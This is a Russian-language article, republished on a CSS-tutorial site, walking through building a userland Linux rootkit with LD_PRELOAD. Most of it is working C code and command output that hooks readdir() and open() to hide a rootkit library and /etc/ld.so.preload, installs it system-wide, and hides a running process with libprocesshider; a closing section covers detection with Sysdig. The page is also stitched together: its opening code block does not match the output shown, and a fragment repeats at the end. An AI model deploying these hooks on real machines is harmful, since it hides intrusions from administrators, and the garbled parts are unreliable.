Операция «Предзагрузка». Создаем userland-руткиты в Linux с помощью LD_PRELOAD - «Новости» » Самоучитель CSS
Меню
Наши новости
Учебник CSS

Невозможно отучить людей изучать самые ненужные предметы.

Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3

Надо знать обо всем понемножку, но все о немногом.

Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы

Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)

Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода

Самоучитель CSS

Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5

Новости

Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости

Справочник CSS

Справочник от А до Я
HTML, CSS, JavaScript

Афоризмы

Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы

Видео Уроки


Наш опрос



Наши новости

       
8-01-2021, 00:00
Операция «Предзагрузка». Создаем userland-руткиты в Linux с помощью LD_PRELOAD - «Новости»
Рейтинг:
Категория: Новости

Каж­дый раз при вызове malloc() динами­чес­кий ком­понов­щик вызыва­ет вер­сию malloc() из libmalloc.so, пос­коль­ку это пер­вое вхож­дение malloc(). Но мы хотим выз­вать сле­дующее вхож­дение malloc() — то, что находит­ся в libc.so.


Так про­исхо­дит потому, что динами­чес­кий ком­понов­щик внут­ри исполь­зует фун­кцию dlsym() из /usr/include/dlfcn.h для поис­ка адре­са заг­ружен­ного в память.


По умол­чанию в качес­тве пер­вого аргу­мен­та для dlsym() исполь­зует­ся дес­крип­тор RTLD_DEFAULT, который воз­вра­щает адрес пер­вого вхож­дения сим­вола. Одна­ко есть еще один псев­доука­затель динами­чес­кой биб­лиоте­ки — RTLD_NEXT, который ищет сле­дующее вхож­дение. Исполь­зуя RTLD_NEXT, мы можем най­ти фун­кцию malloc() биб­лиоте­ки libc.so.


От­редак­тиру­ем libmalloc.СЃ. Ком­мента­рии объ­ясня­ют, что про­исхо­дит внут­ри прог­раммы:


#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
// Вызов orig_readdir() для получения каталога
struct dirent *ep = orig_readdir(dirp);
while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )
ep = orig_readdir(dirp);
return ep;
}

В цик­ле про­веря­ется, не NULL ли зна­чение дирек­тории, затем вызыва­ется strncmp() для про­вер­ки, сов­пада­ет ли d_name катало­га с RKIT (фай­ла с рут­китом). Если оба усло­вия вер­ны, вызыва­ется фун­кция orig_readdir() для чте­ния сле­дующей записи катало­га. При этом про­пус­кают­ся все дирек­тории, у которых d_name начина­ется с rootkit.so.


Те­перь давай пос­мотрим, как отра­бота­ет наша биб­лиоте­ка в этот раз. Сно­ва ком­пилиру­ем и смот­рим на резуль­тат работы:



$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back



От­лично! Как мы видим, все прош­ло глад­ко. Сна­чала при пер­вом вхож­дении malloc() была исполь­зована наша реали­зация этой фун­кции, а затем ори­гиналь­ная реали­зация из биб­лиоте­ки libc.so.


Те­перь, ког­да мы понима­ем, как работа­ет LD_PRELOAD и каким обра­зом мы можем пре­доп­ределять работу со стан­дар­тны­ми фун­кци­ями сис­темы, самое вре­мя при­менить эти зна­ния на прак­тике.


Поп­робу­ем сде­лать так, что­бы ути­лита ls, ког­да выводит спи­сок фай­лов, про­пус­кала рут­кит.


Скрываем файл из листинга ls


Боль­шинс­тво динами­чес­ки ском­пилиро­ван­ных прог­рамм исполь­зуют сис­темные вызовы стан­дар­тной биб­лиоте­ки libc. С помощью ути­литы ldd пос­мотрим, какие биб­лиоте­ки исполь­зует прог­рамма ls:



$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...



По­луча­ется, ls динами­чес­ки ском­пилиро­вана с исполь­зовани­ем фун­кций биб­лиоте­ки libc.so. Теперь пос­мотрим, какие сис­темные вызовы для чте­ния дирек­тории исполь­зует ути­лита ls. Для это­го в пус­той дирек­тории выпол­ним ltrace ls:



$ ltrace ls
memcpy(0x55de4a72e9b0, ".", 2) = 0x55de4a72e9b0
__errno_location()
= 0x7f3a35b07218
opendir(".")
= 0x55de4a72e9d0
readdir(0x55de4a72e9d0)
= 0x55de4a72ea00
readdir(0x55de4a72e9d0)
= 0x55de4a72ea18
readdir(0x55de4a72e9d0)
= 0
closedir(0x55de4a72e9d0)
= 0



Оче­вид­но, что при выпол­нении коман­ды без аргу­мен­тов ls исполь­зует сис­темные вызовы opendir(), readdir() и closedir(), которые вхо­дят в биб­лиоте­ку libc. Давай теперь задей­ству­ем LD_PRELOAD и пере­опре­делим эти стан­дар­тные вызовы сво­ими. Напишем прос­тую биб­лиоте­ку, в которой изме­ним фун­кцию readdir(), что­бы она скры­вала наш файл с кодом.


Здесь мы уже перехо­дим к написа­нию прос­того рут­кита без наг­рузки. Все, что он будет делать, — это пря­тать сам себя от глаз адми­нис­тра­тора сис­темы.


Я соз­дал дирек­торию rootkit и даль­ше буду работать в ней. Соз­дадим файл rkit.c.


#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}

Ком­пилиру­ем и про­веря­ем работу:



$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls -lah
ито­го 28K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
-rwxr-xr-x 1 n0a n0a 16K ноя 23 23:46 rootkit.so


$ LD_PRELOAD=./rootkit.so ls -lah
ито­го 12K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c



Нам уда­лось скрыть файл rootkit.so от пос­торон­них глаз. Пока мы тес­тирова­ли биб­лиоте­ку исклю­читель­но в пре­делах одной коман­ды.


Используем /etc/ld.so.preload


Да­вай вос­поль­зуем­ся записью в /etc/ld.so.preload для сок­рытия нашего фай­ла от всех поль­зовате­лей сис­темы. Для это­го запишем в ld.so.preload путь до нашей биб­лиоте­ки:



# ls
rkit.c rootkit.so


# echo $(pwd)/rootkit.so > /etc/ld.so.preload
# ls
rkit.c



Те­перь мы скры­ли файл ото всех поль­зовате­лей (хотя это не сов­сем так, но об этом поз­же). Но опыт­ный адми­нис­тра­тор доволь­но лег­ко нас обна­ружит, так как само по себе наличие фай­ла /etc/ld.so.preload может говорить о при­сутс­твии рут­кита — осо­бен­но если рань­ше такого фай­ла не было.


Скрываем ld.so.preload


Да­вай попыта­емся скрыть из лис­тинга и сам файл ld.so.preload. Нем­ного модифи­циру­ем код rkit.c:


#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}

Для наг­ляднос­ти я добавил к пре­дыду­щей прог­рамме еще один мак­рос LD_PL c име­нем фай­ла ld.so.preload, который мы так­же добави­ли в цикл while, где срав­нива­ем имя фай­ла для скры­тия.


Пос­ле ком­пиляции исходный файл rootkit.so будет переза­писан и из вывода ути­литы ls про­падет и нуж­ный файл ld.so.preload. Про­веря­ем:



$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls
rkit.c


$ ls /etc/
...
ldap
tmpfiles.d
ld.so.cache
ucf.conf
ld.so.conf
udev
ld.so.conf.d udisks2
libao.conf
ufw
libaudit.conf update-motd.d
libblockdev
UPower
...



Здо­рово! Мы толь­ко что ста­ли на один шаг бли­же к пол­ной кон­спи­рации. Вро­де бы это победа, но не спе­ши радовать­ся.


Погружаемся глубже


Да­вай про­верим, смо­жем ли мы про­читать файл ld.so.preload коман­дой cat:



$ cat /etc/ld.so.preload
/root/rootkit/src/rootkit.so



Так-так-так. Получа­ется, мы пло­хо спря­тались, если наличие нашего фай­ла мож­но про­верить прос­тым чте­нием. Почему так выш­ло?


Оче­вид­но, что для получе­ния содер­жимого ути­лита cat вызыва­ет дру­гую фун­кцию — не readdir(), которую мы так ста­ратель­но перепи­сыва­ли. Что ж, давай пос­мотрим, что исполь­зует cat:



$ ltrace cat /etc/ld.so.preload
...
__fxstat(1, 1, 0x7ffded9f6180)
= 0
getpagesize()
= 4096
open("/etc/ld.so.preload", 0, 01)
= 3
__fxstat(1, 3, 0x7ffded9f6180)
= 0
posix_fadvise(3, 0, 0, 2)
= 0
...



На этот раз нам нуж­но порабо­тать с фун­кци­ей open(). Пос­коль­ку мы уже опыт­ные, давай добавим в наш рут­кит фун­кцию, которая при обра­щении к фай­лу /etc/ld.so.preload будет веж­ливо говорить, что фай­ла не сущес­тву­ет (Error no entry или прос­то ENOENT).


Сно­ва модифи­циру­ем rkit.c:


#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
// Работаем с функцией open()
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX];
if(!o_open)
o_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, LD_PATH) == 0)
{
errno = ENOENT;
return -1;
}
return o_open(path, oflag);
}

Здесь мы добави­ли кусок кода, который дела­ет то же самое, что и с readdir(). Ком­пилиру­ем и про­веря­ем:



$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ cat /etc/ld.so.preload
cat: /etc/ld.so.preload: Нет такого фай­ла или катало­га



Так гораз­до луч­ше, но это еще далеко не все вари­анты обна­руже­ния /etc/ld.so.preload.


Мы до сих пор можем без проб­лем уда­лить файл, перемес­тить его со сме­ной наз­вания (и тог­да ls сно­ва его уви­дит), поменять ему пра­ва без уве­дом­ления об ошиб­ке. Даже bash услужли­во про­дол­жит его имя при нажатии на Tab.


В хороших рут­китах, экс­плу­ати­рующих лазей­ку с LD_PRELOAD, реали­зован перех­ват сле­дующих фун­кций:



  • listxattr, llistxattr, flistxattr;


  • getxattr, lgetxattr, fgetxattr;


  • setxattr, lsetxattr, fsetxattr;


  • removexattr, lremovexattr, fremovexattr;


  • open, open64, openat, creat;


  • unlink, unlinkat, rmdir;


  • symlink, symlinkat;


  • mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64;


  • execve.

Раз­бирать под­мену каж­дой из них мы, конеч­но же, не будем. Можешь в качес­тве при­мера перех­вата перечис­ленных фун­кций пос­мотреть рут­кит cub3 — там все те же dlsym() и RTLD_NEXT.


Скрываем процесс с помощью LD_PRELOAD


При работе рут­киту нуж­но как-то скры­вать свою активность от стан­дар­тных ути­лит монито­рин­га, таких как lsof, ps, top.


Мы уже доволь­но деталь­но разоб­рались, как работа­ет пере­опре­деле­ние фун­кций LD_PRELOAD. Для про­цес­сов все то же самое. Более того, стан­дар­тные прог­раммы исполь­зуют в сво­ей работе procfs, вир­туаль­ную фай­ловую сис­тему, которая пред­став­ляет собой интерфейс для вза­имо­дей­ствия с ядром ОС.


Чте­ние и запись в procfs реали­зова­ны так же, как и в обыч­ной фай­ловой сис­теме. То есть, как ты можешь догадать­ся, наш опыт с readdir() здесь при­дет­ся кста­ти. ?


libprocesshider


Как скрыть активность из монито­рин­га, пред­лагаю рас­смот­реть на хорошем при­мере libprocesshider, который раз­работал Джан­лука Борел­ло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обна­руже­ния рут­китов LD_PRELOAD мы погово­рим в кон­це статьи).


Да­вай ско­пиру­ем код с GitHub и раз­берем­ся, что к чему:



$ git clone https://github.com/gianlucaborello/libprocesshider
$ cd libprocesshider
$ ls
evil_script.py Makefile processhider.c README.md



В опи­сании к libprocesshider все прос­то: дела­ем make, копиру­ем в /usr/local/lib/ и добав­ляем в /etc/ld.so.preload. Сде­лаем все, кро­ме пос­ледне­го:


$ gcc -Wall -fPIC -shared -olibprocesshider.so processhider.c -ldl$ sudo mv libprocesshider.so /usr/local/lib/

Те­перь давай пос­мотрим, каким обра­зом ps получа­ет информа­цию о про­цес­сах. Для это­го запус­тим ltrace:



$ ltrace /bin/ps
...
time(0)
= 1606208519
meminfo(0, 4096, 0, 0x7f1787ce9207)
= 0
openproc(96, 0, 0, 0)
= 0x55c6f9f145c0
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7)
= 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)
= 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)
= 0x55c6f8258580
...



Ин­форма­цию о про­цес­се получа­ем при помощи фун­кции readproc(). Пос­мотрим реали­зацию этой фун­кции в фай­ле readproc.c:


static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
static struct direct *ent;
char *restrict const path = PT->path;
for (;;) {
ent = readdir(PT->procfs);
if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break;
}
p->tgid = strtoul(ent->d_name, NULL, 10);
p->tid = p->tgid;
memcpy(path, "/proc/", 6);
strcpy(path+6, ent->d_name);
return 1;
}

Из это­го кода понят­но, что PID про­цес­сов получа­ют, вызывая readdir() в цик­ле for. Дру­гими сло­вами, если нет дирек­тории про­цес­са — нет и самого про­цес­са для ути­лит монито­рин­га. При­веду при­мер час­ти кода libprocesshider, где уже зна­комым нам методом мы скры­ваем дирек­торию про­цес­са:


...
while(1)
{
dir = original_##readdir(dirp);
if(dir) {
char dir_name[256];
char process_name[256];
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
strcmp(dir_name, "/proc") == 0 &&
get_process_name(dir->d_name, process_name) &&
strcmp(process_name, process_to_filter) == 0) {
continue;
}
}
break;
}
return dir;
...

При­чем само имя про­цес­са get_process_name() берет­ся из /proc/pid/stat.


Про­верим наши догад­ки. Для это­го запус­тим пред­лага­емый evil_script.py в фоне:



$ ./evil_script.py 1.2.3.4 1234 &
[1] 3435



3435 — это PID нашего работа­юще­го про­цес­са evil_script.py. Про­верим вывод ути­литы htop и убе­дим­ся, что evil_script.py при­сутс­тву­ет в спис­ке про­цес­сов.


evil_script.py в спис­ке про­цес­сов htop

Про­верим вывод ps и lsof для обна­руже­ния сетевой активнос­ти:



$ sudo ps aux | grep evil_script.py
root
3435 99.5 0.4 19272 8260 pts/1
R
11:48 63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234
root
3616 0.0 0.0
6224
832 pts/0
S+
12:52
0:00 grep evil_script.py


$ sudo lsof -ni | grep evil_scri
evil_scri 3435
root
3u IPv4 41410
0t0 UDP 192.168.232.138:52676->1.2.3.4:1234



Те­перь пос­мотрим, сущес­тву­ет ли дирек­тория с PID про­цес­са evil_script.py:



$ sudo ls /proc | grep 3435
3435


$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...



Все пред­ска­зуемо. Теперь самое вре­мя добавить биб­лиоте­ку libprocesshider.so в пред­загруз­ку гло­баль­но для всей сис­темы. Про­пишем ее в /etc/ld.so.preload:


# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Про­веря­ем дирек­торию /proc, а так­же вывод lsof и ps.



$ ls /proc | grep 3435
$ lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root
3707 0.0 0.0
6244
900 pts/0
S+
13:10
0:00 grep evil_script.py



Ре­зуль­тат налицо. Теперь в /proc нель­зя пос­мотреть дирек­торию с PID скрип­та evil_script.py. Одна­ко ста­тус про­цес­са по-преж­нему виден в фай­ле /proc/3435/status.



$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...



По­дыто­жим. В пер­вой час­ти статьи мы изу­чили методы перех­вата фун­кций и их изме­нение, что поз­воля­ет скры­вать рут­киты. А даль­ше про­дела­ли то же самое для скры­тия про­цес­сов от стан­дар­тных ути­лит монито­рин­га.


Как ты догады­ваешь­ся, прос­тые рут­киты, нес­мотря на все хит­рости, под­дают­ся детек­ту. Нап­ример, при помощи раз­ных манипу­ляций с фай­лом /etc/ld.so.preload или изу­чения исполь­зуемых биб­лиотек при помощи ldd.


Но что делать, если автор рут­кита нас­толь­ко хорош, что захукал все воз­можные фун­кции, ldd мол­чит, а подоз­рения на сетевую или иную активность все же есть?


Sysdig как решение


В отли­чие от стан­дар­тных инс­тру­мен­тов, ути­лита Sysdig устро­ена по-дру­гому. По архи­тек­туре она близ­ка к таким про­дук­там, как libcap, tcpdump и Wireshark.


Спе­циаль­ный драй­вер sysdig-probe перех­ватыва­ет сис­темные события на уров­не ядра, пос­ле чего акти­виру­ется фун­кция ядра tracepoints, которая, в свою оче­редь, запус­кает обра­бот­чики этих событий. Обра­бот­чики сох­раня­ют информа­цию о событии в сов­мес­тно исполь­зуемом буфере. Затем эта информа­ция может быть выведе­на на экран или сох­ранена в тек­сто­вом фай­ле.


Да­вай пос­мотрим, как с помощью Sysdig най­ти evil_script.py. К при­меру, по заг­рузке цен­траль­ного про­цес­сора:



$ sudo sysdig -c topprocs_cpu
CPU%
Process
PID
---------------------------------------------
99.00%
evil_script.py
5979
2.00%
sysdig
5997
0.00%
sshd
928
0.00%
wpa_supplicant
474
0.00%
systemd
909
0.00%
exim4
850
0.00%
sshd
938
0.00%
su
948
0.00%
in:imklog
472
0.00%
in:imuxsock
472



Мож­но пос­мотреть выпол­нение ps. Бонусом Sysdig покажет, что динами­чес­кий ком­понов­щик заг­ружал поль­зователь­скую биб­лиоте­ку libprocesshide рань­ше, чем libc:



$ sudo sysdig proc.name = ps
2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0
...
2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0
2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
...
2810 00:21:52.721293540 1 ps (3351) > open
2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6) name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0
2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
...



Схо­жие фун­кции пре­дос­тавля­ют ути­литы SystemTap, DTrace и его све­жая пол­ноцен­ная замена — BpfTrace.



Дополнительная литература



  • LD_NOT_PRELOADED_FOR_REAL (блог haxelion)


  • Hiding Linux processes for fun + profit (Sysdig)


  • Reverse Engineering with LD_PRELOAD (3proxy)

  • Раз­деля­емые биб­лиоте­ки (shared libraries)


  • В поис­ках LD_PRELOAD («Хаб­рахабр»)


  • Прак­тичес­кое при­мене­ние LD_PRELOAD или замеще­ние фун­кций в Linux («Хаб­рахабр»)


  • Пе­ренап­равле­ние фун­кций в раз­деля­емых ELF-биб­лиоте­ках («Хаб­рахабр»)


  • MoVP 2.4 Analyzing the Jynx rootkit and LD_PRELOAD (Volatility Labs)


  • The magic of LD_PRELOAD for Userland Rootkits (блог FlUxIuS)


www


Про­екты на GitHub:


  • detect_preload

  • cub3

  • rkorova

  • ld-preload

  • awesome-ld-preload


Каж­дый раз при вызове malloc() динами­чес­кий ком­понов­щик вызыва­ет вер­сию malloc() из libmalloc.so, пос­коль­ку это пер­вое вхож­дение malloc(). Но мы хотим выз­вать сле­дующее вхож­дение malloc() — то, что находит­ся в libc.so. Так про­исхо­дит потому, что динами­чес­кий ком­понов­щик внут­ри исполь­зует фун­кцию dlsym() из /usr/include/dlfcn.h для поис­ка адре­са заг­ружен­ного в память. По умол­чанию в качес­тве пер­вого аргу­мен­та для dlsym() исполь­зует­ся дес­крип­тор RTLD_DEFAULT, который воз­вра­щает адрес пер­вого вхож­дения сим­вола. Одна­ко есть еще один псев­доука­затель динами­чес­кой биб­лиоте­ки — RTLD_NEXT, который ищет сле­дующее вхож­дение. Исполь­зуя RTLD_NEXT, мы можем най­ти фун­кцию malloc() биб­лиоте­ки libc.so. От­редак­тиру­ем libmalloc.СЃ. Ком­мента­рии объ­ясня­ют, что про­исхо­дит внут­ри прог­раммы:

Теги: CSS

Просмотров: 552
Комментариев: 0:   8-01-2021, 00:00
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

 
Еще новости по теме:



Другие новости по теме: